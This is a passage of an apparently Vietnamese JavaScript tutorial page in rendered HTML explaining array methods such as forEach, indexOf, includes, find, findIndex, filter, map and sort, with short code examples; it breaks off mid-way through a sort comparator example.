vào mảng arr</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span>arrayLike<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (4) [1, 2, "hello", "hi"]</span></code></pre></div> <h2 id="phương-thức-duyệt-mảng-trong-javascript" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-duy%E1%BB%87t-m%E1%BA%A3ng-trong-javascript" aria-label="phương thức duyệt mảng trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức duyệt mảng trong JavaScript</h2> <p>Phương thức của mảng trong JavaScript giúp duyệt tất cả các phần tử là: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach"><code>forEach</code></a>.</p> <p>Phương thức này cho phép bạn thực hiện một <a href="/ham-la-gi-ham-trong-javascript/">hàm</a> trên mỗi phần tử trong mảng với cú pháp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">arr<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">item<span class="token punctuation">,</span> index<span class="token punctuation">,</span> array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// code xử lý trong đây</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li><code>item</code>: là phần tử đang duyệt.</li> <li><code>index</code>: chỉ số của phần tử đang duyệt.</li> <li><code>array</code>: chính là <code>arr</code>.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">item<span class="token punctuation">,</span> index<span class="token punctuation">,</span> array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">item </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>item<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> at index </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>index<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> in array </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>array<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">item a at index 0 in array a,b,c item b at index 1 in array a,b,c item c at index 2 in array a,b,c</code></pre></div> <p>Để hiểu hơn về <code>forEach</code>, bạn có thể đọc thêm bài viết: <a href="/javascript-foreach-la-cai-quai-gi/">JavaScript forEach là cái quái gì?</a></p> <h2 id="các-phương-thức-tìm-kiếm-trong-mảng" style="position:relative;"><a href="#c%C3%A1c-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-t%C3%ACm-ki%E1%BA%BFm-trong-m%E1%BA%A3ng" aria-label="các phương thức tìm kiếm trong mảng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các phương thức tìm kiếm trong mảng</h2> <p>Sau đây mình sẽ tìm hiểu về các phương thức của mảng trong JavaScript giúp tìm kiếm.</p> <h3 id="phương-thức-indexof-lastindexof-và-includes" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-indexof-lastindexof-v%C3%A0-includes" aria-label="phương thức indexof lastindexof và includes permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức <code>indexOf</code>, <code>lastIndexOf</code> và <code>includes</code></h3> <p>Các phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf"><code>indexOf</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf"><code>lastIndexOf</code></a> và <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes"><code>includes</code></a> có cú pháp và cách sử dụng tương tự như các phương thức cùng tên trong string.</p> <ul> <li>Phương thức <code>arr.indexOf(item, from)</code>: tìm kiếm <code>item</code> trong mảng, bắt đầu từ vị trí <code>from</code> và trả về <strong>chỉ số</strong> vị trí tìm thấy, ngược lại thì trả về <code>-1</code>.</li> <li>Phương thức <code>arr.lastIndexOf(item, from)</code>: tương tự phương thức <code>indexOf</code> là tìm kiếm <code>item</code> trong mảng và bắt đầu từ vị trí <code>from</code> nhưng thứ tự tìm kiếm <strong>từ phải sang trái</strong>.</li> <li>Phương thức <code>arr.includes(item, from)</code>: tìm kiếm <code>item</code> trong mảng từ vị trí <code>from</code>, và trả về <code>true</code> nếu tìm thấy, ngược lại trả về <code>false</code>.</li> </ul> <p>Các ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token boolean">false</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// -1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span><span class="token function">lastIndexOf</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p><strong>Chú ý:</strong> các phương thức trên thường <strong>sử dụng toán tử so sánh bằng nghiêm ngặt</strong> <code>===</code> để kiểm tra.</p> <p>Nếu bạn tìm kiếm <code>false</code> thì kết quả trả về là vị trí chính xác của <code>false</code> chứ không phải <code>0</code>.</p> <p>Nếu bạn muốn kiểm tra sự tồn tại mà <strong>không quan tâm đến chỉ số</strong> thì nên dùng <code>arr.includes</code>.</p> <p>Một điểm khác nhau giữa <code>arr.includes</code> với <code>arr.indexOf</code> và <code>arr.lastIndexOf</code> là <code>arr.includes</code> có thể tìm chính xác <code>NaN</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">NaN</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span><span class="token number">NaN</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token number">NaN</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// -1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span><span class="token function">lastIndexOf</span><span class="token punctuation">(</span><span class="token number">NaN</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// -1</span></code></pre></div> <h3 id="phương-thức-find-và-findindex" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-find-v%C3%A0-findindex" aria-label="phương thức find và findindex permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức <code>find</code> và <code>findIndex</code></h3> <p>Giả sử bạn có một mảng các object. Làm sao để tìm kiếm object trong mảng thỏa mãn một số điều kiện cho trước?</p> <p>Để giải quyết vấn đề này, bạn có thể dùng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/find"><code>arr.find</code></a> hoặc <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/find"><code>arr.findIndex</code></a>.</p> <p>Phương thức <code>arr.find(fn)</code> có cú pháp là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> result <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">find</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">item<span class="token punctuation">,</span> index<span class="token punctuation">,</span> array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// code xử lý</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li><code>item</code>: là phần tử đang duyệt.</li> <li><code>index</code>: chỉ số của phần tử đang duyệt.</li> <li><code>array</code>: chính là <code>arr</code>.</li> </ul> <p>Phương thức <code>arr.find(fn)</code> tìm kiếm một phần tử trong mảng thỏa mãn hàm <code>fn</code> (nói cách khác là hàm <code>fn</code> trả về <code>true</code>) và trả về phần tử tìm được, ngược lại thì trả về <code>undefined</code>.</p> <p>Ví dụ tìm kiếm user có <code>id === 2</code> trong một mảng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> users <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Anna"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> user <span class="token operator">=</span> users<span class="token punctuation">.</span><span class="token function">find</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> item<span class="token punctuation">.</span>id <span class="token operator">===</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// John</span></code></pre></div> <p>Trong ví dụ trên, hàm cung cấp cho phương thức <code>find</code> là <a href="/arrow-function-la-gi-arrow-function-trong-js/">arrow function</a> <code>(item) => item.id === 2</code> với một tham số <code>item</code> (các tham số còn lại không sử dụng).</p> <p>Phương thức <code>arr.findIndex</code> có cú pháp hoàn toàn giống với <code>arr.find</code>. Chỉ khác là, <code>arr.findIndex</code> trả về chỉ số của phần tử tìm thấy, ngược lại thì trả về <code>-1</code>, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> users <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Anna"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> index <span class="token operator">=</span> users<span class="token punctuation">.</span><span class="token function">findIndex</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> item<span class="token punctuation">.</span>id <span class="token operator">===</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></span></code></pre></div> <h3 id="phương-thức-filter" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-filter" aria-label="phương thức filter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức <code>filter</code></h3> <p>Phương thức <code>arr.find</code> và <code>arr.findIndex</code> chỉ tìm kiếm phần tử đầu tiên thỏa mãn. Để <strong>tìm kiếm nhiều phần tử thỏa mãn</strong>, bạn có thể dùng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter"><code>arr.filter</code></a>.</p> <p>Cú pháp của <code>arr.filter</code> tương tự như <code>arr.find</code> và <code>arr.findIndex</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> results <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">item<span class="token punctuation">,</span> index<span class="token punctuation">,</span> array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// code kiểm tra</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Phương thức <code>arr.filter</code> trả về một mảng các phần tử thỏa mãn, ngược lại thì trả về mảng rỗng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> users <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Anna"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> results <span class="token operator">=</span> users<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> item<span class="token punctuation">.</span>id <span class="token operator">&lt;=</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>results<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> <span class="token keyword">let</span> others <span class="token operator">=</span> users<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> item<span class="token punctuation">.</span>id <span class="token operator">></span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>others<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0</span></code></pre></div> <h2 id="các-phương-thức-biến-đổi-mảng" style="position:relative;"><a href="#c%C3%A1c-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-bi%E1%BA%BFn-%C4%91%E1%BB%95i-m%E1%BA%A3ng" aria-label="các phương thức biến đổi mảng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các phương thức biến đổi mảng</h2> <p>Sau đây là các phương thức của mảng trong JavaScript giúp <strong>tạo mảng mới từ một mảng gốc</strong> hoặc <strong>thay đổi thứ tự của mảng gốc</strong>.</p> <h3 id="phương-thức-map" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-map" aria-label="phương thức map permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức <code>map</code></h3> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map"><code>arr.map</code></a> là một trong những phương thức phổ biến nhất của mảng.</p> <p>Phương thức này thực hiện một hàm trên mỗi phần tử của mảng và trả về một mảng các kết quả với cú pháp là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> result <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">item<span class="token punctuation">,</span> index<span class="token punctuation">,</span> array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// trả về giá trị mới từ mỗi item</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ từ mảng các string, suy ra mảng các độ dài tương ứng là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> lengths <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"Dog"</span><span class="token punctuation">,</span> <span class="token string">"Fish"</span><span class="token punctuation">,</span> <span class="token string">"Elephant"</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> item<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>lengths<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (3) [3, 4, 8]</span></code></pre></div> <h3 id="phương-thức-sort" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-sort" aria-label="phương thức sort permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức <code>sort</code></h3> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort"><code>arr.sort</code></a> sắp xếp các phần tử trong mảng theo thứ tự.</p> <p>Phương thức này trả về mảng đã được sắp xếp. Tuy nhiên, mình thường bỏ qua giá trị trả về. Vì thực chất là chính <code>arr</code> đã bị thay đổi.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">15</span><span class="token punctuation">]</span><span class="token punctuation">;</span> arr<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (3) [1, 15, 2]</span></code></pre></div> <p>Kết quả trả về là mảng <code>[1, 15, 2]</code>. Bạn có thấy điểm bất thường gì ở đây không?</p> <blockquote> <p>💡 Mặc định các phần tử được sắp xếp theo thứ tự string.</p> </blockquote> <p>Trong ví dụ trên, các phần tử được <a href="/chuyen-doi-kieu-du-lieu-trong-javascript/">chuyển đổi kiểu dữ liệu</a> về <strong>string</strong> để so sánh. Mà <code>"1" &#x3C; "2"</code> là <code>true</code>. Nên kết quả như trên là đúng.</p> <p>Để sắp xếp theo tứ tự mong muốn, bạn cần truyền vào một hàm để so sánh.</p> <p>Ví dụ một hàm so sánh:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">compare</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>a <span class="token operator">></span> b<span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token comment">// a đứng sau b</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>a <span class="token operator">==</span> b<span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// a, b bằng nhau</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>a <span class="token operator">&lt;</span> b<span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token comment">// a đứng trước b</span> <span class="token punctuation">}</span></code></pre></div> <p>Áp dụng hàm so sánh vào phương thức <code>arr.sort</code> để sắp xếp mảng số:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">15</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">arr<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">if</span> <span class="token punctuation">(</span>a <span class="token operator">></span> b<span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token comment">// a đứng sau b</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">if</span> <span 